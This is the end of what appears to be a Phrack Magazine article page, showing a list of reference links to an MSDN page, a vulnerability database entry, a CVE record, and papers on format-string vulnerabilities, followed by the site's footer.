[0] http://msdn.microsoft.com/en-us/library/ms175782.aspx
[1] http://www.securityfocus.com/bid/1634
[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0393
[3] http://www.phrack.org/issues.html?issue=59&id=7&mode=txt
[4] http://www.phrack.org/issues.html?issue=63&id=14
[5] http://althing.cs.dartmouth.edu/local/formats-teso.html
[6] http://www.loko.nu/formatstring/format_string.htm
[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]
© Copyleft 1985-2024, Phrack Magazine.